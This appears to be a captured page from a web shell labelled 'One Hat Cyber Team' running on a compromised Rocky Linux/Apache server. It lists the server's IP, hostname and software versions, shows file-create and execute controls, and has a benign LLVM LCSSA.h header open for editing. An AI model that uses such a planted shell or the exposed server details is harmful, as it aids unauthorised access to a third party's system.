One Hat Cyber Team
Your IP :
216.73.216.115
Server IP :
194.44.31.54
Server :
Linux zen.imath.kiev.ua 4.18.0-553.77.1.el8_10.x86_64 #1 SMP Fri Oct 3 14:30:23 UTC 2025 x86_64
Server Software :
Apache/2.4.37 (Rocky Linux) OpenSSL/1.1.1k
PHP Version :
5.6.40
Buat File
|
Buat Folder
Eksekusi
Dir :
~
/
usr
/
include
/
llvm
/
Transforms
/
Utils
/
Edit File:
LCSSA.h
//===- LCSSA.h - Loop-closed SSA transform Pass -----------------*- C++ -*-===// // // Part of the LLVM Project, under the Apache License v2.0 with LLVM Exceptions. // See https://llvm.org/LICENSE.txt for license information. // SPDX-License-Identifier: Apache-2.0 WITH LLVM-exception // //===----------------------------------------------------------------------===// // // This pass transforms loops by placing phi nodes at the end of the loops for // all values that are live across the loop boundary. For example, it turns // the left into the right code: // // for (...) for (...) // if (c) if (c) // X1 = ... X1 = ... // else else // X2 = ... X2 = ... // X3 = phi(X1, X2) X3 = phi(X1, X2) // ... = X3 + 4 X4 = phi(X3) // ... = X4 + 4 // // This is still valid LLVM; the extra phi nodes are purely redundant, and will // be trivially eliminated by InstCombine. The major benefit of this // transformation is that it makes many other loop optimizations, such as // LoopUnswitching, simpler. // //===----------------------------------------------------------------------===// #ifndef LLVM_TRANSFORMS_UTILS_LCSSA_H #define LLVM_TRANSFORMS_UTILS_LCSSA_H #include "llvm/IR/PassManager.h" namespace llvm { /// Converts loops into loop-closed SSA form. class LCSSAPass : public PassInfoMixin<LCSSAPass> { public: PreservedAnalyses run(Function &F, FunctionAnalysisManager &AM); }; } // end namespace llvm #endif // LLVM_TRANSFORMS_UTILS_LCSSA_H
Simpan